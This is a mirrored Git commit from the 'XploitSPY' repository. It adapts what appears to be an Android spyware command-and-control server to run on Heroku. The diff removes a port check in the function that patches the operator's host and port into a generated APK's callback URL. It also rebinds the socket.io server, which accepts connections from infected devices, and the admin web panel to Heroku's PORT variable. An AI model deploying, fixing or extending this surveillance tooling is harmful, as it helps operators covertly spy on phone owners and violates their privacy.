mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2025-01-11 23:45:36 +08:00
Changed ports to work with heroku
This commit is contained in:
parent
2167196567
commit
d041ac10e7
@ -20,7 +20,7 @@ function javaversion(callback) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function patchAPK(URI, PORT, cb) {
|
function patchAPK(URI, PORT, cb) {
|
||||||
if (PORT < 25565) {
|
// if (PORT < 25565) {
|
||||||
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
|
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
|
||||||
if (err) return cb('File Patch Error - READ')
|
if (err) return cb('File Patch Error - READ')
|
||||||
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT);
|
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT);
|
||||||
@ -29,7 +29,7 @@ function patchAPK(URI, PORT, cb) {
|
|||||||
else return cb(false)
|
else return cb(false)
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
}
|
// }
|
||||||
}
|
}
|
||||||
|
|
||||||
function buildAPK(cb) {
|
function buildAPK(cb) {
|
||||||
|
@ -65,7 +65,8 @@ routes.get('/logout', isAllowed, (req, res) => {
|
|||||||
|
|
||||||
routes.get('/builder', isAllowed, (req, res) => {
|
routes.get('/builder', isAllowed, (req, res) => {
|
||||||
res.render('builder', {
|
res.render('builder', {
|
||||||
myPort: CONST.control_port
|
// myPort: CONST.control_port
|
||||||
|
myPort: process.env.PORT
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
13
index.js
13
index.js
@ -8,7 +8,8 @@
|
|||||||
const
|
const
|
||||||
express = require('express'),
|
express = require('express'),
|
||||||
app = express(),
|
app = express(),
|
||||||
IO = require('socket.io'),
|
server = require('http').createServer(app),
|
||||||
|
IO = require('socket.io')(server),
|
||||||
geoip = require('geoip-lite'),
|
geoip = require('geoip-lite'),
|
||||||
CONST = require('./includes/const'),
|
CONST = require('./includes/const'),
|
||||||
db = require('./includes/databaseGateway'),
|
db = require('./includes/databaseGateway'),
|
||||||
@ -24,10 +25,11 @@ global.clientManager = clientManager;
|
|||||||
global.apkBuilder = apkBuilder;
|
global.apkBuilder = apkBuilder;
|
||||||
|
|
||||||
// spin up socket server
|
// spin up socket server
|
||||||
let client_io = IO.listen(CONST.control_port);
|
// let client_io = IO.listen(CONST.control_port);
|
||||||
|
|
||||||
client_io.sockets.pingInterval = 30000;
|
// client_io.sockets.pingInterval = 30000;
|
||||||
client_io.on('connection', (socket) => {
|
IO.sockets.pingInterval = 30000;
|
||||||
|
IO.on('connection', (socket) => {
|
||||||
socket.emit('welcome');
|
socket.emit('welcome');
|
||||||
let clientParams = socket.handshake.query;
|
let clientParams = socket.handshake.query;
|
||||||
let clientAddress = socket.request.connection;
|
let clientAddress = socket.request.connection;
|
||||||
@ -65,7 +67,8 @@ client_io.on('connection', (socket) => {
|
|||||||
|
|
||||||
|
|
||||||
// get the admin interface online
|
// get the admin interface online
|
||||||
app.listen(CONST.web_port);
|
// app.listen(CONST.web_port);
|
||||||
|
server.listen(process.env.PORT || CONST.web_port)
|
||||||
|
|
||||||
app.set('view engine', 'ejs');
|
app.set('view engine', 'ejs');
|
||||||
app.set('views', './assets/views');
|
app.set('views', './assets/views');
|
||||||
|
Loading…
Reference in New Issue
Block a user